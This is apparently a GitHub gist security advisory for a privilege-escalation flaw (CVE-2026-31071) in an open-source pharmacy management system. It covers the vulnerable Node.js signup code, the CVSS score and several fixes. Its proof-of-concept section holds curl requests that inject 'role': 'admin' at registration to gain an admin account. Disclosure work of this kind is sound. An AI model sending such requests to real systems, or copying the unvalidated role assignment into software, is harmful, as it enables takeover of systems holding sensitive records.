Skip to content

Instantly share code, notes, and snippets.

@nedlir
Created May 19, 2026 07:40
Show Gist options
  • Select an option

  • Save nedlir/bc8ad4693c53256819280e8f5de49286 to your computer and use it in GitHub Desktop.

Select an option

Save nedlir/bc8ad4693c53256819280e8f5de49286 to your computer and use it in GitHub Desktop.
CVE-2026-31071

Privilege Escalation via Unvalidated Role Assignment - LalanaChami Pharmacy Management System

LalanaChami's Pharmacy Management System signup endpoint (backend/routes/user.js) accepts a user-controlled role parameter and directly assigns it to new user accounts without server-side validation. The role field is passed from req.body.role directly into the User model constructor with no whitelist or enum validation. Any unauthenticated attacker can inject "role": "admin" during registration to gain full administrative privileges.


Vulnerability Summary

  • Type: CWE-269 (Improper Privilege Management)
  • Affected Version: Commit 5c3d028c520628ece50f034900e0a98c07943d70 (latest master); package.json version 0.0.0; Angular CLI 8.3.6 (no versioned GitHub releases or tags)
  • Affected Component: backend/routes/user.js - signup endpoint
  • Attack Vector: Network (Remote)
  • Authentication Required: None

Product Information

Technical Analysis

Root Cause

The /api/user/signup endpoint accepts a user-controlled role parameter and directly assigns it to the new user account without any server-side validation. This allows any unauthenticated user to self-assign administrative privileges during registration.

Vulnerable Code

backend/routes/user.js (Lines 8-27):

router.post("/signup", (req,res,next)=>{
  bcrypt.hash(req.body.password, 10)
    .then(hash => {
      const user = new User({
        name : req.body.name,
        contact : req.body.contact,
        nic : req.body.nic,
        email : req.body.email,
        password : hash,
        role: req.body.role  // <-- USER-CONTROLLED ROLE ASSIGNMENT!
      });

      user.save()
        .then(result =>{
          res.status(201).json({
            message : 'User created!',
            result: result
          });
        })
    })
})

User Model - backend/models/user.js:

const userSchema = mongoose.Schema({
  name: {type: String , require:true},
  contact: {type: String , require:true},
  nic: {type: String , require:true},
  email: {type: String , require:true, unique:true},
  password: {type: String , require:true},
  role: {type: String , require:true},  // No enum validation!
  dateTime: {type: Date, default: Date.now , require:true}
});

Attack Scenario

  1. Attacker discovers the signup endpoint at /api/user/signup
  2. Attacker sends POST request with role: "admin" in the request body
  3. Server creates new user with admin privileges
  4. Attacker logs in via /api/user/login with new credentials
  5. Attacker now has full administrative access to the pharmacy system

Role Values in Application

Based on frontend code analysis, the application uses these roles:

  • admin - Full system access
  • pharmacist - Pharmacy operations
  • assistant-pharmacist - Limited pharmacy access
  • cashier - Point of sale access

Proof of Concept

The PoC exploits missing role validation to create an admin account and verify full administrative access.

Steps to Reproduce

  1. Clone and start the vulnerable application:
git clone https://github.com/LalanaChami/Pharmacy-Mangment-System
cd Pharmacy-Mangment-System/lab/
docker-compose up -d
  1. Wait for services to be ready (~10 seconds). Backend API will be at: http://localhost:3000/api

  2. Run the PoC:

python3 poc.py localhost:3000
  1. Observe:
    • Admin account created via role injection
    • Successful login with admin privileges
    • JWT token issued with "role": "admin"

Manual Reproduction

Create admin account:

curl -X POST "http://TARGET:3000/api/user/signup" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Attacker",
    "email": "attacker@evil.com",
    "password": "pwned123",
    "contact": "1234567890",
    "nic": "123456789V",
    "role": "admin"
  }'

Login with admin account:

curl -X POST "http://TARGET:3000/api/user/login" \
  -H "Content-Type: application/json" \
  -d '{
    "email": "attacker@evil.com",
    "password": "pwned123"
  }'

Response confirms admin role:

{
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
  "expiresIn": 3600,
  "role": "admin",
  "message": "Logged in Successfully"
}

Impact

  • Privilege Escalation: Any user can self-assign admin role
  • Complete System Compromise: Admin access grants full control over users, inventory, sales, prescriptions, and suppliers
  • No Prerequisites: No existing account or authentication required
  • Access Control Bypass: Complete circumvention of role-based access control

CVSS Score

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L = 9.4 (Critical)

  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality: High
  • Integrity: High
  • Availability: Low

Remediation

Option 1: Server-side role assignment (Recommended)

router.post("/signup", (req, res, next) => {
  bcrypt.hash(req.body.password, 10)
    .then(hash => {
      const user = new User({
        name: req.body.name,
        contact: req.body.contact,
        nic: req.body.nic,
        email: req.body.email,
        password: hash,
        role: "cashier"  // Default role - admin assigns higher roles
      });
      // ...
    });
});

Option 2: Role validation with whitelist

const ALLOWED_SELF_REGISTRATION_ROLES = ['cashier'];  // Only allow basic role

router.post("/signup", (req, res, next) => {
  const requestedRole = req.body.role;
  
  if (!ALLOWED_SELF_REGISTRATION_ROLES.includes(requestedRole)) {
    return res.status(403).json({
      message: 'Invalid role for self-registration'
    });
  }
  
  // ... proceed with registration
});

Option 3: Admin-only user creation

const checkAuth = require("../middleware/check-auth");
const checkAdmin = require("../middleware/check-admin");

// Public signup only creates basic users
router.post("/signup", (req, res, next) => {
  // ... create with role: "cashier" only
});

// Admin endpoint for creating privileged users
router.post("/admin/create-user", checkAuth, checkAdmin, (req, res, next) => {
  // Admin can specify any role
});

Model-level validation

const userSchema = mongoose.Schema({
  // ...
  role: {
    type: String,
    required: true,
    enum: ['admin', 'pharmacist', 'assistant-pharmacist', 'cashier'],
    default: 'cashier'
  }
});

Confirmed Affected Files

File Issue Exploitable
backend/routes/user.js Unvalidated req.body.role in signup endpoint Yes - primary vector
backend/models/user.js No enum validation on role field Yes - enables injection

Timeline

  • Discovery Date: January 2026
  • Vendor Contact: January 2026
  • Vendor Response: No response
  • Public Disclosure: 9 April 2026 (commit 5c3d028c520628ece50f034900e0a98c07943d70, package.json 0.0.0, Angular CLI 8.3.6)

References

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment